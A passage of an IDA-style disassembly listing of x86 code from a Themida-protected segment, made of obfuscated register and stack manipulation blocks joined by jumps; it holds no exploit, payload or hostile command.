loc_555E51:				; CODE XREF: Themida_:0055602Dj
		sub	ecx, 733B3FEAh
		sub	ecx, 7E2D6F49h
		and	ecx, 14A45D08h
		neg	ecx
		jmp	loc_56460F
; ---------------------------------------------------------------------------


loc_555E6A:				; CODE XREF: Themida_:0055B087j
		mov	dh, 85h
		mov	cl, 90h
		sub	cl, dh
		pop	edx
		and	cl, 22h
		jmp	loc_55AA3E
; ---------------------------------------------------------------------------


loc_555E79:				; CODE XREF: Themida_:005602C1j
		pop	esp
		mov	[esp], edi
		push	51C8h
		jmp	loc_560FBE
; ---------------------------------------------------------------------------


loc_555E87:				; CODE XREF: Themida_:005530BDj
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	30613473h
		pop	edx
		push	ecx
		mov	ecx, 51DF6702h
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, 24FE375Ah
		xor	edx, 684668F7h
		jmp	loc_55AEC1
; ---------------------------------------------------------------------------


loc_555EB3:				; CODE XREF: Themida_:00557D79j
		mov	ecx, 1E5C2DC3h
		add	ecx, 6DF821D7h
		xor	ecx, 0E03004EEh
		sub	edi, ecx
		pop	ecx
		pop	edx
		add	ebx, 247D35A7h
		sub	ebx, edi
		sub	ebx, 247D35A7h
		pop	edi
		xor	edx, eax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_555EDE:				; CODE XREF: Themida_:00562B42j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	1Ch
		push	dword ptr [esp]
		jmp	loc_562B47
; ---------------------------------------------------------------------------


loc_555EFC:				; CODE XREF: Themida_:00555144j
		or	edx, 5978108Ch
		jmp	loc_55F5AB
; ---------------------------------------------------------------------------


loc_555F07:				; CODE XREF: Themida_:00551FADj
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dl, 0F0h
		sub	dl, 90h
		mov	ah, dl
		jmp	loc_5563F5
; ---------------------------------------------------------------------------


loc_555F1A:				; CODE XREF: Themida_:0055182Cj
		xor	al, bl
		mov	bx, [esp]
		push	5B43h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		add	bl, 70h
		jmp	loc_563C10
; ---------------------------------------------------------------------------


loc_555F41:				; CODE XREF: Themida_:00560265j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55D6FC
; ---------------------------------------------------------------------------


loc_555F55:				; CODE XREF: Themida_:0055BF20j
		pop	ebp
		or	ecx, 3FB377D8h
		push	4523h
		jmp	loc_556837
; ---------------------------------------------------------------------------


loc_555F66:				; CODE XREF: Themida_:00562E76j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_551CA7
; ---------------------------------------------------------------------------


loc_555F71:				; CODE XREF: Themida_:005531BCj
		pop	ecx
		sub	esp, 4
		jmp	loc_56063D
; ---------------------------------------------------------------------------


loc_555F7D:				; CODE XREF: Themida_:0055C969j
		xor	ecx, 686D48E3h
		and	edx, ecx
		jmp	loc_551919
; ---------------------------------------------------------------------------


loc_555F8A:				; CODE XREF: Themida_:0055A2A5j
		pop	ebp
		add	ebx, 2566644Dh
		sub	ebx, edx
		sub	ebx, 2566644Dh
		add	ebx, 74594E5Dh
		jmp	loc_55C8E1
; ---------------------------------------------------------------------------


loc_555FA4:				; CODE XREF: Themida_:0056560Ej
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56567A
; ---------------------------------------------------------------------------


loc_555FB0:				; CODE XREF: Themida_:0055BC56j
		sub	ebx, 5901242Eh
		add	ebx, ecx
		jmp	loc_559017
; ---------------------------------------------------------------------------


loc_555FBD:				; CODE XREF: Themida_:00565458j
		mov	ch, 0F2h
		jmp	loc_55FA10
; ---------------------------------------------------------------------------


loc_555FC4:				; CODE XREF: Themida_:00555E1Cj
		add	esp, 4
		jmp	loc_562690
; ---------------------------------------------------------------------------


loc_555FCF:				; CODE XREF: Themida_:0055617Aj
		pop	edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_557131
; ---------------------------------------------------------------------------


loc_555FEB:				; CODE XREF: Themida_:0055AB60j
		pop	eax
		jmp	loc_560DFA
; ---------------------------------------------------------------------------


loc_555FF1:				; CODE XREF: Themida_:005573E4j
		mov	[esp], edi
		mov	edi, 36642D4Bh
		push	esi
		mov	esi, 5F1D336Ah
		dec	esi
		inc	esi
		xor	esi, 14E15D98h
		or	edi, esi
		pop	esi
		or	edi, 3A9205B4h
		sub	edi, 7A675128h
		xchg	edx, edi
		inc	edx
		xchg	edx, edi
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 4B287201h
		xor	ecx, 6D1A38CBh
		jmp	loc_555E51
; ---------------------------------------------------------------------------


loc_556032:				; CODE XREF: Themida_:00559539j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5523A6
; ---------------------------------------------------------------------------


loc_556046:				; CODE XREF: Themida_:0055DB6Aj
		sub	ecx, 618147DFh
		add	ecx, edi
		add	ecx, 618147DFh
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_556B67
; ---------------------------------------------------------------------------


loc_556063:				; CODE XREF: Themida_:0055B223j
		pop	ecx
		push	ebx
		push	eax
		jmp	loc_565476
; ---------------------------------------------------------------------------


loc_55606B:				; CODE XREF: Themida_:0055D49Aj
		xor	esi, [esp]
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_554CB5
; ---------------------------------------------------------------------------


loc_556078:				; CODE XREF: Themida_:00557222j
		sub	dword ptr [esp+4], 67F5AB4h
		add	[esp+4], ebx
		add	dword ptr [esp+4], 67F5AB4h
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_561DB0
; ---------------------------------------------------------------------------


loc_55609F:				; CODE XREF: Themida_:005525D6j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		jmp	loc_55181E
; ---------------------------------------------------------------------------


loc_5560BD:				; CODE XREF: Themida_:00553AB9j
		mov	edi, 10A06A36h
		mov	eax, edi
		pop	edi
		jmp	loc_55EF6C
; ---------------------------------------------------------------------------


loc_5560CA:				; CODE XREF: Themida_:00563F2Bj
		mov	ebp, [esp]
		jmp	loc_559A04
; ---------------------------------------------------------------------------


loc_5560D2:				; CODE XREF: Themida_:00560451j
		add	ebp, 4
		jmp	loc_55C8C7
; ---------------------------------------------------------------------------


loc_5560DD:				; CODE XREF: Themida_:0055E9AAj
		add	esp, 4
		mov	cx, [esp]
		add	esp, 2
		push	dx
		push	ecx
		jmp	loc_56278C
; ---------------------------------------------------------------------------


loc_5560F2:				; CODE XREF: Themida_:0055C836j
		pop	esp
		jmp	loc_552DFD
; ---------------------------------------------------------------------------


loc_5560F8:				; CODE XREF: Themida_:00563AB9j
		sub	eax, 671903A3h
		push	edx
		mov	edx, 18DC249Dh
		jmp	loc_55A5EF
; ---------------------------------------------------------------------------


loc_556108:				; CODE XREF: Themida_:0055F72Aj
		xchg	ebp, edi
		jmp	loc_558F55
; ---------------------------------------------------------------------------


loc_55610F:				; CODE XREF: Themida_:00563164j
		mov	edx, 337A4C91h
		neg	edx
		shl	edx, 7
		dec	edx
		add	edx, 0C7ABAC6h
		mov	ebp, edx
		pop	edx
		push	eax
		jmp	loc_55E8AD
; ---------------------------------------------------------------------------


loc_556129:				; CODE XREF: Themida_:00552BD7j
		mov	ebp, [esp]
		jmp	loc_555C5C
; ---------------------------------------------------------------------------


loc_556131:				; CODE XREF: Themida_:005626B5j
		sub	edx, eax
		jmp	loc_552F43
; ---------------------------------------------------------------------------


loc_556138:				; CODE XREF: Themida_:00564661j
		mov	eax, 2C28507Ch
		xor	eax, 2C285078h
		jmp	loc_55CFAA
; ---------------------------------------------------------------------------


loc_556147:				; CODE XREF: Themida_:00554807j
		xchg	ebp, [esp]
		jmp	loc_550DC3
; ---------------------------------------------------------------------------


loc_55614F:				; CODE XREF: Themida_:0055D1CAj
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		jmp	loc_56218E
; ---------------------------------------------------------------------------


loc_556165:				; CODE XREF: Themida_:0055AEF8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55F02A
; ---------------------------------------------------------------------------


loc_556170:				; CODE XREF: Themida_:0055FE26j
		xor	edi, 6DD848FCh
		add	[esp+4], edi
		jmp	loc_555FCF
; ---------------------------------------------------------------------------


loc_55617F:				; CODE XREF: Themida_:005526E1j
		pop	ebx
		sub	ebx, 11961A10h
		and	ebx, 1D57530Ah
		sub	ebx, 1
		add	ebx, 0FFFFFFFFh
		xor	ebx, 7C2Eh
		xor	ebx, 42B130D8h
		and	ebx, 75FC16FCh
		xor	ebx, 4B635D03h
		and	ebx, 70384AF9h
		push	esi
		mov	esi, 584D1BA1h
		shr	esi, 4
		add	esi, 0EA7BE34Dh
		sub	ebx, 297A170Ch
		add	ebx, esi
		push	ecx
		jmp	loc_557C36
; ---------------------------------------------------------------------------


loc_5561D0:				; CODE XREF: Themida_:00551E5Ej
		push	edi
		push	ebp
		push	0CFD64D1h
		pop	ebp
		xor	ebp, 3F325874h
		dec	ebp
		push	edx
		mov	edx, 25790844h
		add	ebp, edx
		pop	edx
		jmp	loc_5653B6
; ---------------------------------------------------------------------------


loc_5561ED:				; CODE XREF: Themida_:00559E88j
		mov	ch, [esp]
		push	esi
		jmp	loc_551FF7
; ---------------------------------------------------------------------------


loc_5561F6:				; CODE XREF: Themida_:0055C88Ej
		add	eax, edx
		sub	eax, 37EF157Bh
		jmp	loc_561175
; ---------------------------------------------------------------------------


loc_556202:				; CODE XREF: Themida_:00551E65j
		pop	edx
		sub	esi, 460E010Fh
		sub	esi, ebx
		add	esi, 460E010Fh
		push	ecx
		mov	ecx, 2AC5A6Eh
		sub	esi, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	esi, 1FC76594h
		push	ebx
		mov	ebx, 8F43F98h
		or	ebx, 36266DDCh
		push	edx
		mov	edx, 26345C7Eh
		jmp	loc_554B15
; ---------------------------------------------------------------------------


loc_55624E:				; CODE XREF: Themida_:00556C80j
		push	5519h
		jmp	loc_55E00D
; ---------------------------------------------------------------------------


loc_556258:				; CODE XREF: Themida_:005540B9j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_552516
; ---------------------------------------------------------------------------


loc_55626E:				; CODE XREF: Themida_:00558DEFj
		pop	esi
		push	ebp
		mov	ebp, edi
		jmp	loc_561491
; ---------------------------------------------------------------------------


loc_556277:				; CODE XREF: Themida_:00557F9Aj
		mov	cl, bl
		pop	ebx
		push	edx
		mov	dh, cl
		mov	bh, dh
		pop	edx
		pop	ecx
		mov	eax, [esp]
		jmp	loc_552335
; ---------------------------------------------------------------------------


loc_556289:				; CODE XREF: Themida_:0055AE09j
		xchg	esi, [esp]
		push	esi
		push	6785h
		mov	[esp], edx
		pop	esi
		pop	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_554C7D
; ---------------------------------------------------------------------------


loc_5562A1:				; CODE XREF: Themida_:00554CB0j
		xor	ecx, 19763537h
		inc	ecx
		sub	ecx, 0ED302B1Ah
		jmp	loc_5545AC
; ---------------------------------------------------------------------------


loc_5562B3:				; CODE XREF: Themida_:00555E3Bj
		mov	ebp, 5DCF440Eh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 25066786h
		jmp	loc_5627E7
; ---------------------------------------------------------------------------


loc_5562CB:				; CODE XREF: Themida_:0055E734j
		mov	ecx, 1D413690h
		xor	ecx, 7EF83D7Fh
		push	edi
		mov	edi, 0FFFFFFFFh
		add	ecx, edi
		pop	edi
		sub	ecx, 5D392067h
		add	ecx, 6433E3DBh
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 47647D43h
		neg	esi
		and	esi, 1E6C7B78h
		add	esi, 0E7F7FDCCh
		add	ebp, esi
		pop	esi
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	2E10h
		mov	[esp], ebp
		jmp	loc_551321
; ---------------------------------------------------------------------------


loc_556338:				; CODE XREF: Themida_:005558FFj
		mov	ecx, 50264E07h
		jmp	loc_55CFFB
; ---------------------------------------------------------------------------


loc_556342:				; CODE XREF: Themida_:00558D24j
		pop	ebp
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556348:				; CODE XREF: Themida_:00557513j
		pop	ecx
		jmp	loc_56453A
; ---------------------------------------------------------------------------


loc_55634E:				; CODE XREF: Themida_:00565638j
		mov	ecx, 64EC6245h
		sub	ebx, ecx
		jmp	loc_5633E4
; ---------------------------------------------------------------------------


loc_55635A:				; CODE XREF: Themida_:0056271Bj
		mov	[esp], edx
		jmp	loc_558185
; ---------------------------------------------------------------------------


loc_556362:				; CODE XREF: Themida_:00560C23j
		add	edi, 4
		jmp	loc_565106
; ---------------------------------------------------------------------------


loc_55636D:				; CODE XREF: Themida_:005549C2j
		mov	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	edi
		mov	edi, 3F6310AEh
		mov	eax, 3F6310B2h
		sub	eax, edi
		jmp	loc_5553A4
; ---------------------------------------------------------------------------


loc_556390:				; CODE XREF: Themida_:00562F30j
		add	eax, 19B86457h
		jmp	loc_563CA2
; ---------------------------------------------------------------------------


loc_55639A:				; CODE XREF: Themida_:0055533Dj
		mov	edi, 71301A17h
		add	edi, 785B7258h
		push	5CE5h
		mov	[esp], ebx
		mov	ebx, 87D6CD33h
		add	edi, ebx
		pop	ebx
		sub	eax, edi
		pop	edi
		push	esi
		jmp	loc_552C6A
; ---------------------------------------------------------------------------


loc_5563BE:				; CODE XREF: Themida_:00558488j
		mov	ebp, 2
		mov	edx, ebp
		pop	ebp
		sub	ebx, 5B027088h
		sub	ebx, 37965D73h
		add	ebx, edx
		jmp	loc_560BD5
; ---------------------------------------------------------------------------


loc_5563D9:				; CODE XREF: Themida_:0055AA58j
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_5519F6
; ---------------------------------------------------------------------------


loc_5563E4:				; CODE XREF: Themida_:00556E2Aj
		push	ebp
		jmp	loc_561FC1
; ---------------------------------------------------------------------------


loc_5563EA:				; CODE XREF: Themida_:0055BAEFj
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_556606
; ---------------------------------------------------------------------------


loc_5563F5:				; CODE XREF: Themida_:00555F15j
		pop	edx
		jmp	loc_550D74
; ---------------------------------------------------------------------------


loc_5563FB:				; CODE XREF: Themida_:005655B7j
		push	eax
		mov	eax, 2
		push	edi
		mov	edi, 68D2324Ah
		add	esi, edi
		pop	edi
		jmp	loc_55F6B8
; ---------------------------------------------------------------------------


loc_55640F:				; CODE XREF: Themida_:0055E7E7j
		dec	edx
		push	ebx
		push	edx
		push	0C571207h
		pop	edx
		xor	edx, 20C463CCh
		neg	edx
		shl	edx, 6
		add	edx, 7CAEC412h
		mov	ebx, edx
		pop	edx
		xor	ebx, 409160C5h
		push	edx
		jmp	loc_5641BA
; ---------------------------------------------------------------------------


loc_556438:				; CODE XREF: Themida_:00554236j
		push	eax
		mov	eax, 238073Ah
		xor	eax, 749671D4h
		add	eax, 7412DE1h
		jmp	loc_551042
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	902h
		mov	[esp], edi
		push	esp
		jmp	loc_559E38
; ---------------------------------------------------------------------------
		lodsb
		push	small 4A3Ch
		jmp	loc_552CBF
; ---------------------------------------------------------------------------


loc_556469:				; CODE XREF: Themida_:005531C4j
		push	4D463AE3h
		jmp	loc_557AA2
; ---------------------------------------------------------------------------


loc_556473:				; CODE XREF: Themida_:00557BAEj
		sub	bl, al
		add	bl, 0FAh
		push	ecx
		mov	cl, 0A9h
		neg	cl
		not	cl
		inc	cl
		sub	cl, 1Bh
		sub	cl, 92h
		add	bl, 38h
		jmp	loc_554AB9
; ---------------------------------------------------------------------------


loc_55648F:				; CODE XREF: Themida_:0055EAD4j
		push	3F9501BFh
		pop	esi
		sub	esi, 3F9501BBh
		mov	eax, esi
		pop	esi
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_551088
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	35Ah
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_551D7E
; ---------------------------------------------------------------------------


loc_5564C5:				; CODE XREF: Themida_:00552AFCj
		add	edi, edx
		sub	edi, 312A49CCh
		add	edi, 5D65E47h
		jmp	loc_5635F2
; ---------------------------------------------------------------------------


loc_5564D8:				; CODE XREF: Themida_:0055AB54j
		inc	ebx
		jmp	loc_55D235
; ---------------------------------------------------------------------------


loc_5564DE:				; CODE XREF: Themida_:005658A1j
		push	633Bh
		jmp	loc_564B08
; ---------------------------------------------------------------------------


loc_5564E8:				; CODE XREF: Themida_:0055B26Aj
		xor	dh, 27h
		sub	dh, 0B9h
		sub	ch, dh
		pop	edx
		xor	ch, 7Eh
		and	ah, ch
		mov	ecx, [esp]
		add	esp, 4
		push	3838h
		mov	[esp], edx
		jmp	loc_56449E
; ---------------------------------------------------------------------------


loc_556509:				; CODE XREF: Themida_:0055F025j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	5FEh
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 460A6C1Fh
		jmp	loc_553562
; ---------------------------------------------------------------------------


loc_556531:				; CODE XREF: Themida_:00557A52j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_564F1D
; ---------------------------------------------------------------------------


loc_556540:				; CODE XREF: Themida_:0055ECD5j
		add	esi, ebx
		pop	ebx
		push	ebx
		push	ebp
		mov	ebp, 4
		mov	ebx, ebp
		pop	ebp
		add	esi, ebx
		jmp	loc_55BCEB
; ---------------------------------------------------------------------------


loc_556554:				; CODE XREF: Themida_:00563BA3j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ecx
		jmp	loc_5582E5
; ---------------------------------------------------------------------------


loc_55656D:				; CODE XREF: Themida_:0055FAB8j
		add	esp, 4
		jmp	loc_551582
; ---------------------------------------------------------------------------


loc_556578:				; CODE XREF: Themida_:0055A8F4j
		add	ebx, esi
		sub	ebx, 725356B1h
		push	edx
		mov	edx, 6C0D14FAh
		jmp	loc_565323
; ---------------------------------------------------------------------------


loc_55658B:				; CODE XREF: Themida_:0055BC9Fj
		pop	ecx
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556591:				; CODE XREF: Themida_:0056194Cj
		mov	[esp], eax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556599:				; CODE XREF: Themida_:00564F6Ej
		sub	esi, 782032C6h
		jmp	loc_554C4E
; ---------------------------------------------------------------------------


loc_5565A4:				; CODE XREF: Themida_:00562C6Aj
		mov	edx, 3A455489h
		sub	edi, edx
		pop	edx
		add	edi, 7A042131h
		add	edi, edx
		sub	edi, 7A042131h
		add	edi, 3A455489h
		pop	edx
		add	esi, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	esi, 2
		xor	esi, [esp]
		jmp	loc_5636A3
; ---------------------------------------------------------------------------


loc_5565F1:				; CODE XREF: Themida_:0055FAA4j
		sub	ebx, ebp
		add	ebx, 18E42CFCh
		sub	ebx, 6C164EC2h
		pop	ebp
		push	ebx
		jmp	loc_55127B
; ---------------------------------------------------------------------------


loc_556606:				; CODE XREF: Themida_:005563F0j
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	cx, al
		jmp	loc_5521C1
; ---------------------------------------------------------------------------


loc_556615:				; CODE XREF: Themida_:00563FD7j
		mov	ecx, 28502552h
		jmp	loc_559DC7
; ---------------------------------------------------------------------------


loc_55661F:				; CODE XREF: Themida_:005625E6j
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 18083CF4h
		push	18083D2Ch
		pop	edi
		push	eax
		mov	eax, 2FE71258h
		inc	eax
		sub	eax, 0C829C2A0h
		jmp	loc_55542E
; ---------------------------------------------------------------------------


loc_55664C:				; CODE XREF: Themida_:005612CFj
		push	eax
		push	ebp
		jmp	loc_56032F
; ---------------------------------------------------------------------------


loc_556653:				; CODE XREF: Themida_:0056184Aj
		xchg	ebx, ebp
		not	ebx
		jmp	loc_551BED
; ---------------------------------------------------------------------------


loc_55665C:				; CODE XREF: Themida_:00564839j
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0FD069Ch
		jmp	loc_556E22
; ---------------------------------------------------------------------------


loc_556670:				; CODE XREF: Themida_:005617FBj
		push	ecx
		mov	ecx, 68866A2Fh
		push	edx
		mov	edx, ecx
		jmp	loc_55E92C
; ---------------------------------------------------------------------------


loc_55667E:				; CODE XREF: Themida_:0055861Ej
		bts	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556689:				; CODE XREF: Themida_:00557C7Bj
		add	esi, 0FFFFFFFFh
		push	4183h
		jmp	loc_55A1E5
; ---------------------------------------------------------------------------


loc_556696:				; CODE XREF: Themida_:00562BE0j
		sub	byte ptr [esp],	8Bh
		jmp	loc_563513
; ---------------------------------------------------------------------------


loc_55669F:				; CODE XREF: Themida_:00557BBCj
		mov	ah, 6Ch
		jmp	loc_553885
; ---------------------------------------------------------------------------


loc_5566A6:				; CODE XREF: Themida_:00564A10j
		mov	esi, 4CB81DF7h
		sub	esi, 31B3617Bh
		add	esi, 0CFC6EFDh
		and	esi, 3A7919EAh
		shr	esi, 1
		jmp	loc_55ED75
; ---------------------------------------------------------------------------


loc_5566C4:				; CODE XREF: Themida_:005547D6j
		sub	ebx, 815444E3h
		or	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_55E21C
; ---------------------------------------------------------------------------


loc_5566D4:				; CODE XREF: Themida_:00553E96j
		mov	edx, 2AC5A6Eh
		jmp	loc_551E63
; ---------------------------------------------------------------------------


loc_5566DE:				; CODE XREF: Themida_:0056329Dj
		push	ebp
		jmp	loc_551ADB
; ---------------------------------------------------------------------------


loc_5566E4:				; CODE XREF: Themida_:00551EC0j
		xor	ebx, 0B77FF104h
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebp, 4
		jmp	loc_5581F1
; ---------------------------------------------------------------------------


loc_5566FB:				; CODE XREF: Themida_:0055B5E8j
		not	dword ptr [esp]
		jmp	loc_551AD0
; ---------------------------------------------------------------------------


loc_556703:				; CODE XREF: Themida_:0055DE11j
		add	edx, 0DB84D2DBh
		mov	edi, edx
		pop	edx
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 26F754ADh
		and	edi, 229754BBh
		jmp	loc_557CF6
; ---------------------------------------------------------------------------


loc_556720:				; CODE XREF: Themida_:0055CAC8j
		pop	ebx
		jmp	loc_554967
; ---------------------------------------------------------------------------


loc_556726:				; CODE XREF: Themida_:005550D6j
		inc	ecx
		jmp	loc_55A334
; ---------------------------------------------------------------------------


loc_55672C:				; CODE XREF: Themida_:0055F132j
		pop	edi
		add	ebx, eax
		pop	eax
		sub	eax, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebx, 529F73FAh
		add	ebx, eax
		sub	ebx, 529F73FAh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55EC28
; ---------------------------------------------------------------------------


loc_55675F:				; CODE XREF: Themida_:0055A520j
		pop	ecx
		jmp	loc_55CECD
; ---------------------------------------------------------------------------


loc_556765:				; CODE XREF: Themida_:00564269j
		xchg	ebx, [esp]
		jmp	loc_55F5FA
; ---------------------------------------------------------------------------


loc_55676D:				; CODE XREF: Themida_:00557CC2j
		pop	ebp
		jmp	loc_55C28A
; ---------------------------------------------------------------------------


loc_556773:				; CODE XREF: Themida_:00563F07j
		add	edi, edx
		pop	edx
		add	edi, 2
		xor	edi, [esp]
		jmp	loc_55DEFC
; ---------------------------------------------------------------------------


loc_556784:				; CODE XREF: Themida_:00558180j
		pop	esi
		jmp	loc_557A79
; ---------------------------------------------------------------------------


loc_55678A:				; CODE XREF: Themida_:005538F1j
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_5577A1
; ---------------------------------------------------------------------------


loc_556798:				; CODE XREF: Themida_:00556F50j
		pop	ebx
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 38881D9Dh
		add	esi, 0FFFFFFFFh
		jmp	loc_55A4F3
; ---------------------------------------------------------------------------


loc_5567AD:				; CODE XREF: Themida_:0055D6F7j
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		xor	esi, [esp]
		jmp	loc_55694A
; ---------------------------------------------------------------------------


loc_5567C1:				; CODE XREF: Themida_:00564BC1j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55C7D6
; ---------------------------------------------------------------------------


loc_5567CB:				; CODE XREF: Themida_:00554247j
		push	esi
		mov	esi, 1A5847B2h
		jmp	loc_5618E5
; ---------------------------------------------------------------------------


loc_5567D6:				; CODE XREF: Themida_:005589E8j
		pop	ecx
		jmp	loc_5549D4
; ---------------------------------------------------------------------------


loc_5567DC:				; CODE XREF: Themida_:00556B2Cj
		add	edi, 4
		jmp	loc_55A765
; ---------------------------------------------------------------------------


loc_5567E7:				; CODE XREF: Themida_:00563A41j
		push	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		jmp	loc_55EF33
; ---------------------------------------------------------------------------


loc_5567F8:				; CODE XREF: Themida_:00565C08j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	bl, al
		jmp	loc_56304B
; ---------------------------------------------------------------------------


loc_55680F:				; CODE XREF: Themida_:0055CAC1j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5610BE
; ---------------------------------------------------------------------------


loc_55681F:				; CODE XREF: Themida_:00554CF8j
		push	4322h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_556D89
; ---------------------------------------------------------------------------


loc_556832:				; CODE XREF: Themida_:00563B64j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556837:				; CODE XREF: Themida_:00555F61j
		mov	[esp], ebp
		jmp	loc_560975
; ---------------------------------------------------------------------------


loc_55683F:				; CODE XREF: Themida_:005514F9j
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, 20EA665Ch
		add	eax, ebx
		add	eax, 20EA665Ch
		jmp	loc_559153
; ---------------------------------------------------------------------------


loc_55685D:				; CODE XREF: Themida_:0055DD6Dj
		not	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		mov	ebp, 51BF4A43h
		mov	eax, 289F1D5h
		add	eax, ebp
		pop	ebp
		and	eax, 46982419h
		jmp	loc_562766
; ---------------------------------------------------------------------------


loc_55687F:				; CODE XREF: Themida_:0055B3E9j
		sub	ebp, 2E1B1BA9h
		pop	edx
		push	70D7h
		mov	[esp], ecx
		jmp	loc_5597ED
; ---------------------------------------------------------------------------


loc_556893:				; CODE XREF: Themida_:00563EABj
		push	ebx
		mov	ebx, 18DC249Dh
		sub	eax, 67541AF8h
		add	eax, ebx
		add	eax, 67541AF8h
		pop	ebx
		jmp	loc_55E9DB
; ---------------------------------------------------------------------------


loc_5568AB:				; CODE XREF: Themida_:005641D1j
		sub	ebp, 0D38154A6h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 60AA7FE9h
		jmp	loc_560798
; ---------------------------------------------------------------------------


loc_5568BF:				; CODE XREF: Themida_:00560DAAj
		push	edi
		mov	edi, 439A5EF2h
		jmp	loc_5591F6
; ---------------------------------------------------------------------------


loc_5568CA:				; CODE XREF: Themida_:00558283j
		and	edx, 208167C5h
		not	edx
		sub	edx, 9D5AB460h
		mov	edi, edx
		jmp	loc_5649D4
; ---------------------------------------------------------------------------


loc_5568DF:				; CODE XREF: Themida_:00557418j
		add	esp, 4
		mul	ecx
		jmp	loc_552B74
; ---------------------------------------------------------------------------


loc_5568EC:				; CODE XREF: Themida_:00558963j
		mov	bh, 0Fh
		add	al, bh
		pop	ebx
		add	al, bh
		jmp	loc_55A4DA
; ---------------------------------------------------------------------------


loc_5568F8:				; CODE XREF: Themida_:0055FE89j
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55302B
; ---------------------------------------------------------------------------


loc_556907:				; CODE XREF: Themida_:005520E9j
		pop	ebp
		push	5A6Fh
